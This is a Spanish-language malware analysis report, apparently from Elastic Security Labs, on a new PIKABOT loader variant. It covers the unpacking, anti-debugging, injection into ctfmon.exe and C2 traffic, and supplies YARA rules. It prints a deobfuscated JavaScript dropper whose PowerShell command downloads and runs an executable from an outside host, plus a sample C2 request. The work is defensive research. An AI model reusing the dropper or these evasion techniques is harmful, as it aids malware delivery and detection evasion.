PIKABOT, ¡te elijo a ti!

PIKABOT de un vistazo

PIKABOT es un cargador ampliamente implementado que los actores maliciosos emplean para distribuir cargas útiles como Cobalt Strike o lanzar ransomware. El 8 de febrero, el equipo de Elastic Security Labs observó nuevas campañas de PIKABOT, incluida una variante actualizada. Esta versión del cargador PIKABOT emplea un nuevo método de desempaquetado y una gran ofuscación. El módulo principal agregó una nueva implementación de descifrado de cadenas, cambios en la funcionalidad de ofuscación y varias otras modificaciones.

Esta publicación destacará la campaña inicial, desglosará la nueva funcionalidad del cargador y revisará los componentes principales. Hay opciones de diseño interesantes en esta nueva actualización que creemos que son el comienzo de una nueva base de código que hará más mejoras con el tiempo. Si bien la funcionalidad es similar a las compilaciones anteriores, es probable que estas nuevas actualizaciones tengan firmas rotas y herramientas anteriores.

Durante el desarrollo de esta investigación, el equipo de ThreatLabz de Zscaler publicó excelentes análisis e información sobre una muestra que se superpone con las de esta publicación. Sugerimos leer su trabajo junto con el nuestro para comprender estos cambios de PIKABOT de manera integral.

Conclusiones clave

• Nuevas campañas que implican actualizaciones significativas del cargador PIKABOT y de los componentes principales
• El cargador PIKABOT emplea una nueva técnica de desempaquetado que consiste en combinar fragmentos dispersos de datos cifrados en formato base64 de .data sección
• Los cambios en el núcleo incluyen ofuscación atenuada y funciones RC4 en línea, configuración de texto plano en tiempo de ejecución, eliminación de AES durante las comunicaciones de red
• El desarrollo de PIKABOT parece ser un trabajo en progreso, con futuras actualizaciones probablemente inminentes
• La visibilidad de la pila de llamadas con Elastic Security proporciona la capacidad de clasificar rápidamente amenazas como PIKABOT

Resumen de la campaña PIKABOT

Al comenzar el nuevo año, la distribución de PIKABOT permaneció inactiva hasta hace aproximadamente dos semanas. Esta nueva campaña del 8 de febrero involucró emails con hipervínculos que conducían a archivos ZIP que contenían un script Javascript malicioso y ofuscado.

A continuación se muestra el contenido del archivo JavaScript ofuscado, que muestra la siguiente secuencia para descargar y ejecutar el cargador de PIKABOT usando PowerShell.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
	var obj = new ActiveXObject("WScript.Shell")
	obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

Cargador PIKABOT

Etapa 1 del cargador

Para parecer auténtico, el desarrollador manipuló una herramienta legítima de búsqueda y reemplazo llamada grepWinNP3.exe de este repositorio. El uso de nuestro proyecto de sandboxing interno (Detonate) y el aprovechamiento de la función de pila de llamadas de Elastic Defend proporcionaron un seguimiento detallado de la ejecución, lo que nos permitió identificar el punto de entrada del código malicioso.

Un análisis de los datos de la pila de llamadas revela que la ejecución comienza en una llamada antes de la 0x81aa7 de desplazamiento dentro del archivo malicioso; A continuación, la ejecución salta a una asignación de memoria en una llamada antes de la 0x25d84de desplazamiento . Además, se observó que a la pila de llamadas de creación de procesos le faltan las llamadas normales a KernelBase.dll!CreateProcessInternalW y ntdll.dll!NtCreateUserProcess, debido al uso de una llamada al sistema a través de la ejecución de código de shell que reside en la memoria sin respaldo. Al usar esta implementación, evitará los ganchos de modo de usuario en los módulos WOW64 para evadir los productos EDR.

Al observar el 0x81aa7 de compensación del archivo malicioso y realizar una comparación de código en paralelo con una versión verificada y benigna del archivo grepWinNP3.exe , identificamos algo distinto e inusual: una dirección codificada para ejecutar el cargador PIKABOT, esto marca el punto de entrada del cargador PIKABOT.

El código malicioso emplea una fuerte ofuscación, empleando una técnica en la que un salto (JMP) sigue a cada instrucción de ensamblaje. Este enfoque complica significativamente el análisis al interrumpir el flujo directo de la ejecución.

El cargador extrae su carga útil de etapa 2 de la sección .text , donde se almacena en trozos de 0x94 bytes, antes de consolidar las piezas. A continuación, emplea un algoritmo de descifrado aparentemente personalizado, que emplea operaciones bit a bit.

El siguiente paso del proceso es cargar reflexivamente el archivo PE dentro de los límites del proceso que se está ejecutando actualmente. Esta técnica implica cargar dinámicamente el contenido del archivo PE en la memoria y ejecutarlo, sin necesidad de que el archivo se escriba físicamente en el disco. Este método no solo agiliza el proceso de ejecución al eliminar la necesidad de interacciones con archivos externos, sino que también mejora significativamente el sigilo al minimizar la huella digital que queda en el sistema host.

Etapa 2 del cargador

El cargador de 2 etapa, encargado de inicializar el núcleo de PIKABOT dentro de un proceso recién establecido, emplea una combinación de técnicas de ofuscación de código y cadenas similares a las que se encuentran en el propio núcleo. Además de sus capacidades de ofuscación, el cargador incorpora un serial de contramedidas anti-depuración avanzadas.

Anti-depuración

El malware emplea API de Zw NTDLL específicas para una variedad de operaciones, incluida la detección de depuradores, la creación de procesos y la inyección, con el objetivo de permanecer bajo el radar de los mecanismos de detección y evadir el enganche del usuario EDR (Endpoint Detection and Response), así como los intentos de depuración.

Ejecuta llamadas al sistema directamente, evitando las llamadas a la API convencionales que son más susceptibles de monitoreo e interceptación. Emplea una función envolvente que facilita la ejecución de llamadas al sistema en modo de 64 bits, que toma un hash de un nombre de API de Zw como parámetro.

La función contenedora extrae el ID de llamada del sistema analizando el NTDLL cargado y coincidiendo con el hash del nombre de la función Zw . Luego de encontrar el ID de llamada al sistema correcto, usa la API de Windows Wow64Transition para ejecutar la llamada al sistema en modo de 64 bits.

Tenga en cuenta que los parámetros necesarios se insertan en la pila antes de que se llame al contenedor, el siguiente ejemplo muestra una llamada ZwQueryInformationProcess con el ProcessInformationClass establecido en ProcessDebugPort(7):

El malware emplea un serial de técnicas anti-depuración diseñadas para frustrar la detección mediante herramientas forenses y de depuración. Estas técnicas incluyen:

• Llamar a ZwQuerySystemInformation con el parámetro SystemKernelDebuggerInformation para detectar la presencia de depuradores de kernel.
• Llamar a ZwQueryInformationProcess con el ProcessInformationClass establecido en ProcessDebugPort para identificar los puertos de depuración asociados con el proceso.
• Llamar de nuevo a ZwQueryInformationProcess , pero con el ProcessInformationClass establecido en ProcessDebugFlags parámetro, para determinar si el proceso se marcó para su depuración.
• Inspeccionar el bloque de entorno de proceso (PEB) para el indicador BeingDebugged , que indica si el proceso se está depurando actualmente.
• Uso de GetThreadContext para detectar puntos de interrupción de hardware. Examinar la lista de procesos que se están ejecutando actualmente para identificar cualquier herramienta forense o de depuración activa.

Curiosamente, descubrimos un error en el que algunos de los nombres de procesos que verifica tienen su primer byte puesto a cero, lo que podría sugerir un error del autor del malware o un efecto secundario no deseado agregado por la herramienta de ofuscación. La lista completa de los nombres de procesos que se comprueban se puede encontrar al final de este artículo.

Ejecución

El cargador rellena una variable global con las direcciones de las API esenciales de las bibliotecas NTDLL y KERNEL32. Este paso es fundamental para el funcionamiento del malware, ya que estas direcciones son necesarias para ejecutar tareas posteriores. Tenga en cuenta que el cargador emplea un algoritmo de hash de nombre de API distinto, que difiere del que se usaba anteriormente para Zw API.

A continuación se muestra la estructura reconstruida:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Estructura del cargador

A continuación, el malware consolida bytes del núcleo de PIKABOT que se encuentran dispersos en la sección .data en trozos codificados en base64, lo que es notable en comparación con una versión anterior que cargaba un conjunto de PNG desde su sección de recursos.

Ejecuta una secuencia de nueve funciones distintas, cada una de las cuales realiza operaciones similares pero con diferentes argumentos. Cada función descifra una clave RC4 mediante un proceso en línea que emplea cadenas que parecen legítimas. A continuación, la función base64 decodifica cada fragmento antes de descifrar los bytes.

Luego de consolidar los bytes descifrados, emplea la API de RtlDecompressBuffer para descomprimirlos.

El cargador crea una instancia suspendida de ctfmon.exe empleando la llamada al sistema ZwCreateUserProcess , una táctica diseñada para hacer pasar por un proceso legítimo de Windows. A continuación, asigna una gran región de memoria de forma remota a través de la llamada al sistema ZwAllocateVirtualMemory para alojar el archivo PE del núcleo de PIKABOT.

Posteriormente, el cargador escribe el núcleo de PIKABOT en el área de memoria recién asignada empleando la llamada al sistema ZwWriteVirtualMemory . A continuación, redirige el flujo de ejecución de ctfmon.exe al núcleo malicioso de PIKABOT llamando a la API de SetContextThread para cambiar la dirección de ejecución del subproceso. Por último, reanuda el subproceso con ZwResumeThread llamada al sistema.

Núcleo de PIKABOT

El comportamiento general y la funcionalidad del núcleo actualizado de PIKABOT son similares a las versiones anteriores: el bot recopila datos iniciales de la máquina víctima y presenta al actor de amenazas acceso de comando y control para permitir el comportamiento posterior al compromiso, como la ejecución de la línea de comandos, el descubrimiento o el lanzamiento de cargas útiles adicionales a través de la inyección.

Las diferencias notables incluyen:

• Nuevo estilo de ofuscación con menos funciones en línea
• Varias implementaciones para descifrar cadenas
• Configuración de texto plano en tiempo de ejecución, eliminación del formato JSON
• La comunicación de red emplea RC4 más intercambio de bytes, eliminación de AES

Ofuscación

Una de las diferencias más evidentes se centra en la ofuscación de PIKABOT. Esta versión contiene un binario significativamente menos ofuscado, pero proporciona una sensación familiar a las versiones anteriores. En lugar de un aluvión de funciones RC4 en línea, solo quedan unas pocas luego de la nueva actualización. Desafortunadamente, todavía hay una gran cantidad de ofuscación aplicada a las variables globales y a las instrucciones basura.

A continuación se muestra un ejemplo típico de código basura que se inserta entre el código del malware real, únicamente para extender el tiempo de análisis y agregar confusión.

Descifrado de cadenas

Como se mencionó anteriormente, todavía hay algunas funciones RC4 en línea que se usan para descifrar cadenas. En versiones anteriores, el núcleo usaba la codificación base64 como un paso adicional en combinación con el uso de AES y RC4 para oscurecer las cadenas; en esta versión principal, no vimos que se use la codificación base64 o AES para el descifrado de cadenas.

Esta es una instancia de una función RC4 en línea restante que se usa para descifrar la exclusión mutua codificada de forma rígida. En esta versión, PIKABOT continúa con su uso de cadenas legítimas como la clave RC4 para descifrar datos.

En esta nueva versión, PIKABOT incluye una implementación diferente para la ofuscación de cadenas mediante el uso de cadenas de pila y la colocación de caracteres individuales en una matriz en un orden aleatorio. A continuación se muestra un ejemplo de uso de netapi32.dll:

Anti-depuración

En términos de anti-depuración en esta versión, PIKABOT verifica el BeingDebuggedFlag en el PEB junto con el uso de CheckRemoteDebuggerPresent. En nuestro ejemplo, se devuelve un valor codificado de forma rígida (0x2500) si se anexa un depurador. Desafortunadamente, estas comprobaciones no están en un solo lugar, sino dispersas en diferentes lugares del binario, por ejemplo, justo antes de realizar las solicitudes de red.

Ejecución

En cuanto a la ejecución y los comportamientos generales, el núcleo de PIKABOT sigue de cerca el flujo de ejecución de las versiones anteriores. Tras la ejecución, PIKABOT analiza el PEB y emplea el hash de la API para resolver las bibliotecas necesarias en tiempo de ejecución. A continuación, valida el equipo víctima verificando el identificador de idioma mediante GetUserDefaultLangID. Si el LangID está configurado en ruso (0x419) o ucraniano (0x422), el malware detendrá inmediatamente su ejecución.

Luego de la verificación de idioma, PIKABOT crea una exclusión mutua para evitar la reinfección en la misma máquina. En nuestra muestra se empleó la siguiente exclusión mutua: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

A continuación, el malware generará un UUID desde la máquina víctima empleando el número de volumen del sistema en combinación con el nombre de host y el nombre de usuario. A continuación, PIKABOT generará una clave RC4 única sembrada por RtlRandomEx y luego colocará la clave en la estructura de configuración para emplearla más adelante durante sus comunicaciones de red.

Colección inicial

La siguiente fase consiste en recopilar información de la máquina víctima y colocar los datos en una estructura personalizada que luego se cifrará y se enviará luego de la solicitud de registro inicial. Se emplean las siguientes acciones para tomar las huellas dactilares e identificar a la víctima y su red:

• Recupera el nombre del usuario asociado con el hilo de PIKABOT
• Recupera el nombre del equipo
• Obtiene información del procesador
• Captura la información del dispositivo de visualización mediante EnumDisplayDevicesW
• Recupera información del controlador de dominio mediante DsGetDcNameW
• Recopila el uso actual en torno a la memoria física y virtual mediante GlobalMemoryStatusEx
• Obtiene las dimensiones de la ventana mediante GetWindowRect se emplean para identificar entornos de espacio aislado
• Recupera información del producto del sistema operativo Windows mediante RtlGetVersion
• Emplea CreateToolhelp32Snapshot para recuperar información de proceso

Config

Una extraña decisión de desarrollo en esta nueva versión tiene que ver con la configuración del malware. En tiempo de ejecución, la configuración está en texto sin formato y se encuentra en un punto de la memoria. Esto eventualmente se borra en la memoria. Creemos que esto solo durará temporalmente, ya que las versiones anteriores protegían la configuración y se convirtió en una expectativa estándar cuando se trata de familias de malware prevalentes.

Red

PIKABOT realiza la comunicación de red a través de HTTPS en puertos no tradicionales (2967, 2223, etc.) empleando User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro). El número de compilación del módulo central de PIKABOT se concatena desde la configuración y se puede encontrar pasar dentro de las solicitudes de red cifradas, la versión que analizamos está etiquetada como 1.8.32-beta.

En esta solicitud inicial de check-in al servidor C2, PIKABOT registra el bot mientras envía la información recopilada previamente cifrada con RC4. La clave RC4 se envía en este paquete inicial en el desplazamiento (0x10). Como se mencionó anteriormente, PIKABOT ya no emplea AES en sus comunicaciones de red.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

Solicitud de registro inicial de PIKABOT

Para cada solicitud de red saliente, PIKABOT elige aleatoriamente uno de los siguientes URI:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

Lista de URI's empleados en las solicitudes de PIKABOT C2

A diferencia de las versiones anteriores, en las que los datos de las víctimas se colocaban en un formato estructurado mediante JSON, los datos de estas solicitudes son bytes sin procesar. Los primeros 16 bytes se emplean para pasar información de configuración específica (ID de comando de bot, desplazamiento de bytes, etc.). Los siguientes 32 bytes incrustan la clave RC4 para la sesión, donde luego se siguen los datos cifrados en la solicitud.

Hay una transformación adicional en la que los desarrolladores agregaron un cambio aleatorio de bytes que se produce en tiempo de ejecución. Este número (0x18) en el desplazamiento (0xF) en la solicitud de ejemplo siguiente representa el número de bytes que se deben cambiar desde el final de los datos cifrados hasta el inicio de los datos cifrados. En nuestro ejemplo, para descifrar correctamente los datos, los últimos 18 bytes tendrían que colocar delante de los bytes (0xDA 0x9E).

Funcionalidad del bot

En cuanto a la funcionalidad principal del bot, es similar a las versiones anteriores: ejecución de comandos, realización de descubrimientos, así como capacidades de inyección de procesos. Desde nuestra perspectiva, todavía parece un trabajo en progreso. Un ID de comando (0x982) es una función vacía, en otro caso, hay tres ID de comando únicos que apuntan a la misma función. Esto indica que este software no es del todo completo.

Malware y MITRE ATT&CK

Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales.

Táctica

La táctica representa el porqué de una técnica o subtécnica. Es el objetivo táctico del adversario: la razón para realizar una acción.

• Acceso inicial
• Ejecución
• Evasión de defensa
• Descubrimiento
• Comando y control
• Exfiltración

Técnicas

Las técnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.

• Phishing
• Ejecución de usuario: enlace malicioso
• Carga de código reflectante
• Detección de información del sistema
• Inyección de proceso
• Canal encriptado

Detección de malware

Prevención

• Módulo de red cargado desde una memoria sospechosa sin respaldo
• Ejecución de shellcode desde el módulo de baja reputación
• Escritura de memoria sospechosa en un proceso remoto
• Asignación de memoria remota sospechosa
• Creación de procesos con mitigación inusual
• Windows.Trojan.PikaBot

YARA

Elastic Security creó reglas YARA para identificar esta actividad. A continuación se muestran las reglas de YARA para identificar a PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Observaciones

Todos los observables también están disponibles para su descarga tanto en formato ECS como en STIX.

En esta investigación se discutieron los siguientes observables.

Referencias

A lo largo de la investigación anterior se hizo referencia a lo siguiente:

• https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
• https://x.com/Cryptolaemus1/status/1755655639370514595?s=20

Apéndice

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe